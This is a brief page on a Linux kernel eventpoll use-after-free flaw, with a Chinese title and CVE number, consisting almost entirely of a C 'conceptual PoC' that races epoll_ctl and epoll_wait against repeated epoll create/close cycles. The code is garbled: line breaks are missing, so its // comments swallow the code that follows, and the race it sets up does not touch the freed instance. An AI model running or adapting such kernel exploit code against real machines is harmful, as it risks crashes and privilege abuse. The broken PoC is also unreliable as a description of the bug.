CVE-2026-43074: Linux内核eventpoll释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/epoll.h> #include <pthread.h> // Conceptual PoC for CVE-2026-43074 // This attempts to trigger the race condition in ep_free() int epfd; void* racer_thread(void* arg) { // Thread attempting to access the eventpoll structure struct epoll_event ev; ev.events = EPOLLIN; ev.data.fd = 0; while(1) { // Try to access the epoll instance concurrently epoll_ctl(epfd, EPOLL_CTL_ADD, 0, &ev); epoll_wait(epfd, &ev, 1, 0); } return NULL; } int main() { pthread_t t; epfd = epoll_create1(0); if (epfd < 0) return 1; pthread_create(&t, NULL, racer_thread, NULL); // Trigger open/close cycles to stress the allocation/free path for(int i = 0; i < 10000; i++) { int new_epfd = epoll_create1(0); if (new_epfd < 0) continue; close(new_epfd); } close(epfd); pthread_join(t, NULL); return 0; }